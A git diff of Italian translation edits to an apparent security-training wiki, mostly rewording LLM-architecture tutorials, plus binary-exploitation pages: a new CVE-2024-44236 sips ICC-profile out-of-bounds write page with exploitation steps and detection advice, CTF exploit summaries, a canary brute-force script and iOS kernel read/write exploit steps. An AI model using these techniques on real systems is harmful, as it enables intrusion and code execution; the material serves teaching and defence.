diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index c990b8687..909d4ed63 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -4,7 +4,7 @@ ## Tokenizing -**Tokenizing** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. A ciascun token viene quindi assegnato un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP). +**Tokenizing** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. Ogni token viene quindi assegnato a un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP). > [!TIP] > L'obiettivo di questa fase iniziale è molto semplice: **Dividere l'input in token (ids) in un modo che abbia senso**. @@ -13,7 +13,7 @@ 1. **Splitting the Text:** - **Basic Tokenizer:** Un tokenizer semplice potrebbe suddividere il testo in parole individuali e segni di punteggiatura, rimuovendo gli spazi. -- _Example:_\ +- _Esempio:_\ Testo: `"Hello, world!"`\ Token: `["Hello", ",", "world", "!"]` 2. **Creating a Vocabulary:** @@ -23,8 +23,8 @@ Token: `["Hello", ",", "world", "!"]` - `[EOS]` (Fine Sequenza): Indica la fine di un testo. - `[PAD]` (Padding): Usato per rendere tutte le sequenze in un batch della stessa lunghezza. - `[UNK]` (Sconosciuto): Rappresenta token che non sono nel vocabolario. -- _Example:_\ -Se `"Hello"` è assegnato ID `64`, `","` è `455`, `"world"` è `78`, e `"!"` è `467`, allora:\ +- _Esempio:_\ +Se `"Hello"` è assegnato all'ID `64`, `","` è `455`, `"world"` è `78`, e `"!"` è `467`, allora:\ `"Hello, world!"` → `[64, 455, 78, 467]` - **Handling Unknown Words:**\ Se una parola come `"Bye"` non è nel vocabolario, viene sostituita con `[UNK]`.\ @@ -33,7 +33,7 @@ _(Assumendo che `[UNK]` abbia ID `987`)_ ### **Advanced Tokenizing Methods** -Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, specialmente con vocabolari ampi e nella gestione di parole nuove o rare. I metodi avanzati di tokenizzazione affrontano questi problemi suddividendo il testo in sottounità più piccole o ottimizzando il processo di tokenizzazione. +Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, specialmente con vocabolari grandi e nella gestione di parole nuove o rare. I metodi avanzati di tokenizzazione affrontano questi problemi suddividendo il testo in sottounità più piccole o ottimizzando il processo di tokenizzazione. 1. **Byte Pair Encoding (BPE):** - **Purpose:** Riduce la dimensione del vocabolario e gestisce parole rare o sconosciute suddividendole in coppie di byte che si verificano frequentemente. @@ -44,7 +44,7 @@ Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, sp - **Benefits:** - Elimina la necessità di un token `[UNK]` poiché tutte le parole possono essere rappresentate combinando token di sottoparola esistenti. - Vocabolario più efficiente e flessibile. -- _Example:_\ +- _Esempio:_\ `"playing"` potrebbe essere tokenizzato come `["play", "ing"]` se `"play"` e `"ing"` sono sottoparole frequenti. 2. **WordPiece:** - **Used By:** Modelli come BERT. @@ -52,23 +52,23 @@ Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, sp - **How It Works:** - Inizia con un vocabolario di base di caratteri individuali. - Aggiunge iterativamente la sottoparola più frequente che massimizza la probabilità dei dati di addestramento. -- Utilizza un modello probabilistico per decidere quali sottoparole unire. +- Usa un modello probabilistico per decidere quali sottoparole unire. - **Benefits:** - Bilancia tra avere una dimensione del vocabolario gestibile e rappresentare efficacemente le parole. - Gestisce in modo efficiente parole rare e composte. -- _Example:_\ +- _Esempio:_\ `"unhappiness"` potrebbe essere tokenizzato come `["un", "happiness"]` o `["un", "happy", "ness"]` a seconda del vocabolario. 3. **Unigram Language Model:** - **Used By:** Modelli come SentencePiece. -- **Purpose:** Utilizza un modello probabilistico per determinare il set di token di sottoparola più probabile. +- **Purpose:** Usa un modello probabilistico per determinare il set di token di sottoparola più probabile. - **How It Works:** -- Inizia con un ampio set di token potenziali. +- Inizia con un grande insieme di token potenziali. - Rimuove iterativamente i token che migliorano meno la probabilità del modello sui dati di addestramento. - Finalizza un vocabolario in cui ogni parola è rappresentata dalle unità di sottoparola più probabili. - **Benefits:** - Flessibile e può modellare il linguaggio in modo più naturale. - Risultati spesso in tokenizzazioni più efficienti e compatte. -- _Example:_\ +- _Esempio:_\ `"internationalization"` potrebbe essere tokenizzato in sottoparole più piccole e significative come `["international", "ization"]`. ## Code Example diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index 69d3e4cb8..d390ab8cc 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -99,7 +99,7 @@ Utilizzando lo stesso testo tokenizzato e `max_length` di 4: ## Esempio di Codice -Cerchiamo di capire meglio questo attraverso un esempio di codice da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): +Comprendiamo meglio questo da un esempio di codice da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): ```python # Download the text to pre-train the LLM import urllib.request diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 6ecb5ff1e..7dd3a7332 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -4,11 +4,11 @@ ## Token Embeddings -Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token. +Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e da cui può apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token. > [!TIP] > L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario avrà un punto in uno spazio di X dimensioni.\ -> Si noti che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "randomicamente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). +> Si noti che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). > > Inoltre, durante il token embedding **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione (significato) diversa. @@ -74,7 +74,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) ### **Come Funzionano gli Embedding dei Token Durante l'Addestramento** -Durante l'addestramento, ogni token nei dati di input viene convertito nel suo corrispondente vettore di embedding. Questi vettori vengono poi utilizzati in vari calcoli all'interno del modello, come meccanismi di attenzione e strati di rete neurale. +Durante l'addestramento, ogni token nei dati di input viene convertito nel suo corrispondente vettore di embedding. Questi vettori vengono poi utilizzati in vari calcoli all'interno del modello, come meccanismi di attenzione e strati di reti neurali. **Scenario Esemplare:** @@ -137,11 +137,11 @@ Mentre gli embedding dei token catturano il significato dei singoli token, non c 1. **Embedding Posizionali Assoluti:** - Assegnano un vettore di posizione unico a ciascuna posizione nella sequenza. - **Esempio:** Il primo token in qualsiasi sequenza ha lo stesso embedding posizionale, il secondo token ne ha un altro, e così via. -- **Usato Da:** I modelli GPT di OpenAI. +- **Utilizzato Da:** I modelli GPT di OpenAI. 2. **Embedding Posizionali Relativi:** - Codificano la distanza relativa tra i token piuttosto che le loro posizioni assolute. - **Esempio:** Indicano quanto sono distanti due token, indipendentemente dalle loro posizioni assolute nella sequenza. -- **Usato Da:** Modelli come Transformer-XL e alcune varianti di BERT. +- **Utilizzato Da:** Modelli come Transformer-XL e alcune varianti di BERT. ### **Come Sono Integrati gli Embedding Posizionali:** diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index a157fad35..edf5c1fca 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -246,10 +246,10 @@ return x # Output shape: (batch_size, seq_len, emb_dim) #### **Scopo e Funzionalità** - **Rete FeedForward a livello di posizione:** Applica una rete completamente connessa a due strati a ciascuna posizione separatamente e in modo identico. -- **Dettagli del livello:** -- **Primo livello lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`. +- **Dettagli del Livello:** +- **Primo Livello Lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`. - **Attivazione GELU:** Applica non linearità. -- **Secondo livello lineare:** Riduce la dimensionalità di nuovo a `emb_dim`. +- **Secondo Livello Lineare:** Riduce la dimensionalità di nuovo a `emb_dim`. > [!TIP] > Come puoi vedere, la rete Feed Forward utilizza 3 strati. Il primo è uno strato lineare che moltiplicherà le dimensioni per 4 utilizzando pesi lineari (parametri da addestrare all'interno del modello). Poi, la funzione GELU viene utilizzata in tutte quelle dimensioni per applicare variazioni non lineari per catturare rappresentazioni più ricche e infine un altro strato lineare viene utilizzato per tornare alla dimensione originale. @@ -268,14 +268,14 @@ Questo è già stato spiegato in una sezione precedente. - **Mascheramento:** Viene applicata una maschera causale per impedire al modello di prestare attenzione ai token futuri (importante per modelli autoregressivi come GPT). - **Pesi di Attenzione:** Softmax dei punteggi di attenzione mascherati e scalati. - **Vettore di Contesto:** Somma pesata dei valori, secondo i pesi di attenzione. -- **Proiezione di Output:** Strato lineare per combinare le uscite di tutte le teste. +- **Proiezione di Uscita:** Livello lineare per combinare le uscite di tutte le teste. > [!TIP] > L'obiettivo di questa rete è trovare le relazioni tra i token nello stesso contesto. Inoltre, i token sono divisi in diverse teste per prevenire l'overfitting anche se le relazioni finali trovate per testa sono combinate alla fine di questa rete. > > Inoltre, durante l'addestramento viene applicata una **maschera causale** in modo che i token successivi non vengano presi in considerazione quando si cercano le relazioni specifiche a un token e viene applicato anche un **dropout** per **prevenire l'overfitting**. -### **Normalizzazione** del livello +### **Normalizzazione** del Livello ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class LayerNorm(nn.Module): @@ -299,7 +299,7 @@ return self.scale * norm_x + self.shift - **`scale` e `shift`:** Parametri apprendibili (`nn.Parameter`) che consentono al modello di scalare e spostare l'output normalizzato. Sono inizializzati rispettivamente a uno e zero. - **Processo di Normalizzazione:** - **Calcola Media (`mean`):** Calcola la media dell'input `x` attraverso la dimensione di embedding (`dim=-1`), mantenendo la dimensione per il broadcasting (`keepdim=True`). -- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anche la dimensione. Il parametro `unbiased=False` assicura che la varianza sia calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni. +- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anch'essa la dimensione. Il parametro `unbiased=False` assicura che la varianza venga calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni. - **Normalizza (`norm_x`):** Sottrae la media da `x` e divide per la radice quadrata della varianza più `eps`. - **Scala e Sposta:** Applica i parametri apprendibili `scale` e `shift` all'output normalizzato. @@ -440,7 +440,7 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) - **Positional Embeddings (`pos_emb`):** Aggiunge informazioni posizionali agli embedding per catturare l'ordine dei token. Come promemoria, questi sono i pesi dati ai token in base alla loro posizione nel testo. - **Dropout (`drop_emb`):** Applicato agli embedding per la regolarizzazione. - **Transformer Blocks (`trf_blocks`):** Stack di `n_layers` blocchi transformer per elaborare gli embedding. -- **Normalizzazione Finale (`final_norm`):** Normalizzazione dello strato prima dello strato di output. +- **Final Normalization (`final_norm`):** Normalizzazione dello strato prima dello strato di output. - **Output Layer (`out_head`):** Proietta gli stati nascosti finali alla dimensione del vocabolario per produrre logits per la previsione. > [!TIP] @@ -521,7 +521,7 @@ total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 ``` -- **Totale Parametri Attenzione Multi-Testa:** +- **Parametri Totali di Attenzione Multi-Testa:** ```python mha_params = total_qkv_params + out_proj_params @@ -549,14 +549,14 @@ ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064 ``` -- **Totale Parametri FeedForward:** +- **Parametri Totali FeedForward:** ```python ff_params = ff_first_layer_params + ff_second_layer_params ff_params = 2,362,368 + 2,360,064 = 4,722,432 ``` -**c. Normalizzazioni di Strato** +**c. Normalizzazioni dei Livelli** - **Componenti:** - Due istanze di `LayerNorm` per blocco. @@ -567,7 +567,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432 layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 ``` -**d. Totale Parametri per Blocco Transformer** +**d. Parametri Totali per Blocco Transformer** ```python pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 @@ -581,7 +581,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 **a. Normalizzazione del Livello Finale** -- **Parametri:** `2 * emb_dim` (scala e traslazione) +- **Parametri:** `2 * emb_dim` (scala e sposta) ```python pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536 ``` diff --git a/src/SUMMARY.md b/src/SUMMARY.md index f83536cbe..e099c09b3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -795,6 +795,7 @@ - [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) - [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md) - [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md) + - [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md) - [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md) - [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md) - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md new file mode 100644 index 000000000..b4a3aa3b2 --- /dev/null +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -0,0 +1,53 @@ +# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236) + +{{#include ../../banners/hacktricks-training.md}} + +## Panoramica + +Una vulnerabilità di scrittura fuori dai limiti nel parser del profilo ICC del sistema di elaborazione delle immagini scriptabile di Apple macOS (`sips`) (macOS 15.0.1, sips-307) a causa di una convalida impropria del campo `offsetToCLUT` nei tag `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Un file ICC creato ad hoc può attivare scritture zero fino a 16 byte oltre il buffer heap, corrompendo i metadati dell'heap o i puntatori di funzione e abilitando l'esecuzione di codice arbitrario (CVE-2024-44236). + +## Codice Vulnerabile + +La funzione vulnerabile legge e azzera 16 byte a partire da un offset controllato dall'attaccante senza garantire che si trovi all'interno del buffer allocato: +```c +// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) +for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { +if (i > numberOfInputChannels && buffer[i] != 0) +buffer[i] = 0; +} +``` +Solo un controllo `offsetToCLUT <= totalDataLength` viene eseguito. Impostando `offsetToCLUT == tagDataSize`, il ciclo indicizza fino a 16 byte oltre la fine di `buffer`, corrompendo i metadati dell'heap adiacenti. + +## Passi di sfruttamento + +1. **Crea un profilo `.icc` malevolo:** +- Costruisci l'intestazione ICC (128 byte) con la firma `acsp` e una singola voce di tag `lutAToBType` o `lutBToAType`. +- Nella tabella dei tag, imposta `offsetToCLUT` uguale alla `size` del tag (`tagDataSize`). +- Posiziona i dati controllati dall'attaccante immediatamente dopo il blocco di dati del tag per sovrascrivere i metadati dell'heap. +2. **Attiva l'analisi:** + +```bash +sips --verifyColor malicious.icc +``` + +3. **Corruzione dei metadati dell'heap:** Le scritture zero OOB sovrascrivono i metadati dell'allocatore o i puntatori adiacenti, consentendo all'attaccante di dirottare il flusso di controllo e ottenere l'esecuzione arbitraria di codice nel contesto del processo `sips`. + +## Impatto + +Lo sfruttamento riuscito porta all'esecuzione remota di codice arbitrario con privilegi utente su sistemi macOS che eseguono l'utilità `sips` vulnerabile. + +## Rilevamento + +- Monitora i trasferimenti di file su protocolli comuni (FTP, HTTP/S, IMAP, SMB, NFS, SMTP). +- Ispeziona i file trasferiti con la firma `acsp`. +- Per ogni tag `mAB ` o `mBA `, verifica se il campo `Offset to CLUT` è uguale alla `Tag data size`. +- Segnala come sospetto se questa condizione è soddisfatta. + +## Riferimenti + +- ZDI blog: CVE-2024-44236: Vulnerabilità di Esecuzione Remota di Codice nell'Utilità sips di Apple macOS +https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos +- Aggiornamento di Sicurezza di Apple di Ottobre 2024 (patch che risolve CVE-2024-44236) +https://support.apple.com/en-us/121564 + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 6c1b1e4c6..af9e988d3 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -1,18 +1,20 @@ -# Indicizzazione degli Array +# Array Indexing {{#include ../banners/hacktricks-training.md}} -## Informazioni di Base +## Basic Information Questa categoria include tutte le vulnerabilità che si verificano perché è possibile sovrascrivere determinati dati a causa di errori nella gestione degli indici negli array. È una categoria molto ampia senza una metodologia specifica poiché il meccanismo di sfruttamento dipende completamente dalle condizioni della vulnerabilità. Tuttavia, qui puoi trovare alcuni **esempi**: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) -- Ci sono **2 array in collisione**, uno per **indirizzi** dove i dati sono memorizzati e uno con le **dimensioni** di quei dati. È possibile sovrascrivere uno dall'altro, consentendo di scrivere un indirizzo arbitrario indicandolo come dimensione. Questo consente di scrivere l'indirizzo della funzione `free` nella tabella GOT e poi sovrascriverlo con l'indirizzo di `system`, e chiamare free da una memoria con `/bin/sh`. +- Ci sono **2 array in collisione**, uno per gli **indirizzi** dove i dati sono memorizzati e uno con le **dimensioni** di quei dati. È possibile sovrascrivere uno con l'altro, consentendo di scrivere un indirizzo arbitrario indicandolo come dimensione. Questo consente di scrivere l'indirizzo della funzione `free` nella tabella GOT e poi sovrascriverlo con l'indirizzo di `system`, e chiamare free da una memoria con `/bin/sh`. - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) -- 64 bit, no nx. Sovrascrivi una dimensione per ottenere una sorta di buffer overflow dove tutto sarà utilizzato come un numero doppio e ordinato dal più piccolo al più grande, quindi è necessario creare uno shellcode che soddisfi quel requisito, tenendo conto che il canary non dovrebbe essere spostato dalla sua posizione e infine sovrascrivere il RIP con un indirizzo per ret, che soddisfi i requisiti precedenti e mettendo il più grande indirizzo a un nuovo indirizzo che punta all'inizio dello stack (leaked dal programma) in modo da poter utilizzare il ret per saltare lì. +- 64 bit, no nx. Sovrascrivere una dimensione per ottenere una sorta di buffer overflow dove tutto sarà utilizzato come un numero doppio e ordinato dal più piccolo al più grande, quindi è necessario creare uno shellcode che soddisfi quel requisito, tenendo conto che il canary non dovrebbe essere spostato dalla sua posizione e infine sovrascrivere il RIP con un indirizzo per ret, che soddisfi i requisiti precedenti e mettendo il più grande indirizzo a un nuovo indirizzo che punta all'inizio dello stack (leaked dal programma) in modo da poter utilizzare il ret per saltare lì. - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) -- 64 bit, no relro, canary, nx, no pie. C'è un off-by-one in un array nello stack che consente di controllare un puntatore concedendo WWW (scrive la somma di tutti i numeri dell'array nell'indirizzo sovrascritto dall'off-by-one nell'array). Lo stack è controllato quindi l'indirizzo GOT `exit` è sovrascritto con `pop rdi; ret`, e nello stack viene aggiunto l'indirizzo di `main` (ritornando a `main`). Viene utilizzata una catena ROP per leakare l'indirizzo messo nella GOT usando puts (`exit` verrà chiamato quindi chiamerà `pop rdi; ret` eseguendo quindi questa catena nello stack). Infine, viene utilizzata una nuova catena ROP che esegue ret2lib. +- 64bit, no relro, canary, nx, no pie. C'è un off-by-one in un array nello stack che consente di controllare un puntatore concedendo WWW (scrive la somma di tutti i numeri dell'array nell'indirizzo sovrascritto dall'off-by-one nell'array). Lo stack è controllato quindi l'indirizzo GOT `exit` è sovrascritto con `pop rdi; ret`, e nello stack viene aggiunto l'indirizzo di `main` (ritornando a `main`). Viene utilizzata una catena ROP per leakare l'indirizzo di put nella GOT usando puts (`exit` verrà chiamato quindi chiamerà `pop rdi; ret` eseguendo quindi questa catena nello stack). Infine, viene utilizzata una nuova catena ROP che esegue ret2lib. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) -- 32 bit, no relro, no canary, nx, pie. Abusa di una cattiva indicizzazione per leakare indirizzi di libc e heap dallo stack. Abusa del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (l'indirizzo heap è necessario per bypassare un controllo). +- 32 bit, no relro, no canary, nx, pie. Abusare di un cattivo indicizzazione per leakare indirizzi di libc e heap dallo stack. Abusare del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (l'indirizzo heap è necessario per bypassare un controllo). + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 0b57cca9c..f93ad3833 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -6,17 +6,17 @@ ![](<../../../images/image (865).png>) -> [!NOTE] +> [!TIP] > Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\ -> Tuttavia, puoi notarlo manualmente se trovi che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. +> Tuttavia, puoi notarlo manualmente se scopri che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. ## Brute force Canary -Il modo migliore per bypassare un semplice canary è se il binario è un programma **che fork i processi figli ogni volta che stabilisci una nuova connessione** con esso (servizio di rete), perché ogni volta che ti connetti ad esso **verrà utilizzato lo stesso canary**. +Il modo migliore per bypassare un semplice canary è se il binario è un programma **che fork i processi figli ogni volta che stabilisci una nuova connessione** con esso (servizio di rete), perché ogni volta che ti connetti ad esso **lo stesso canary verrà utilizzato**. Quindi, il modo migliore per bypassare il canary è semplicemente **forzarlo carattere per carattere**, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione **forza un canary di 8 Bytes (x64)** e distingue tra un byte indovinato corretto e un byte errato semplicemente **controllando** se una **risposta** viene inviata dal server (un altro modo in **altra situazione** potrebbe essere utilizzare un **try/except**): -### Example 1 +### Esempio 1 Questo esempio è implementato per 64 bit ma potrebbe essere facilmente implementato per 32 bit. ```python @@ -101,17 +101,22 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` -## Threads +## Thread I thread dello stesso processo condivideranno anche **lo stesso token canary**, quindi sarà possibile **forzare** un canary se il binario genera un nuovo thread ogni volta che si verifica un attacco. Inoltre, un **overflow di buffer in una funzione thread** protetta con canary potrebbe essere utilizzato per **modificare il canary master memorizzato nel TLS**. Questo perché potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi, il canary) tramite un **bof nello stack** di un thread.\ -Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).\ +Di conseguenza, la mitigazione è inutile perché il controllo viene eseguito con due canary che sono gli stessi (anche se modificati).\ Questo attacco è descritto nel writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) Controlla anche la presentazione di [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di **thread** è anch'esso generato da `mmap`, il che potrebbe consentire l'overflow come mostrato nel writeup precedente. -## Other examples & references +## Altri esempi e riferimenti - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 bit, no PIE, nx, BF canary, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì. + + + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 73c46e1b6..7a1bdf1f8 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -40,7 +40,7 @@ Supponiamo che tu provi ad accedere all'indirizzo virtuale **0x1000000000**: 2. **Tabella L2**: * Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì. 3. **Tabella L3**: -* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria reale. +* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva. #### Esempio di Mappatura degli Indirizzi @@ -83,7 +83,7 @@ Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/w 2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata. 3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di: * Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel. -* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo un **primordiale di lettura/scrittura del kernel** stabile. +* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una **primitiva di lettura/scrittura del kernel** stabile. Genera oggetti IOSurface con il valore magico IOSURFACE\_MAGIC da cercare in seguito: ```c @@ -197,12 +197,12 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); ``` #### Riepilogo del Flusso di Exploit -1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo. -2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel. -3. **Identificare IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli. -4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del kernel tramite i metodi IOSurface. +1. **Attivare l'uso fisico dopo la liberazione**: Le pagine liberate sono disponibili per il riutilizzo. +2. **Spray degli oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel. +3. **Identificare l'IOSurface accessibile**: Localizzare un IOSurface su una pagina liberata che controlli. +4. **Abusare dell'uso dopo la liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del kernel tramite i metodi IOSurface. -Con queste primitive, l'exploit fornisce **letture a 32 bit** e **scritture a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti). +Con queste primitive, l'exploit fornisce letture **a 32 bit** e scritture **a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di 